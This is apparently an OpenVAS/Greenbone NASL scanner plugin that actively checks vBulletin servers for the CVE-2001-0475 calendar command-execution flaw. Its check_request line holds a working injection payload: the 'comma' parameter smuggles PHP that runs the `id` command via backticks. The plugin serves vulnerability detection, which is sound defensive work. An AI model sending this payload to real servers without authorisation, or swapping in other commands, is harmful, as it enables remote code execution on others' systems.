vBulletin 'Calendar' Command Execution Vulnerability (CVE-2001-0475) - Active Check

# SPDX-FileCopyrightText: 2005 SecurITeam
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:vbulletin:vbulletin";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11179");
  script_version("2025-05-29T05:40:25+0000");
  script_tag(name:"last_modification", value:"2025-05-29 05:40:25 +0000 (Thu, 29 May 2025)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2001-0475");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("vBulletin 'Calendar' Command Execution Vulnerability (CVE-2001-0475) - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2005 SecurITeam");
  script_family("Web application abuses");
  script_dependencies("vbulletin_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("vbulletin/http/detected");

  script_xref(name:"URL", value:"http://www.securiteam.com/securitynews/5IP0B203PI.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/2474");

  script_tag(name:"summary", value:"A vulnerability in vBulletin enables attackers to craft special
  URLs that will execute commands on the server through the vBulletin PHP script.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("list_array_func.inc");
include("port_service_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

http_check_remote_code(unique_dir:dir,
                       check_request:"/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22",
                       check_result:"uid=[0-9]+.*gid=[0-9]+.*",
                       command:"id");

exit(99);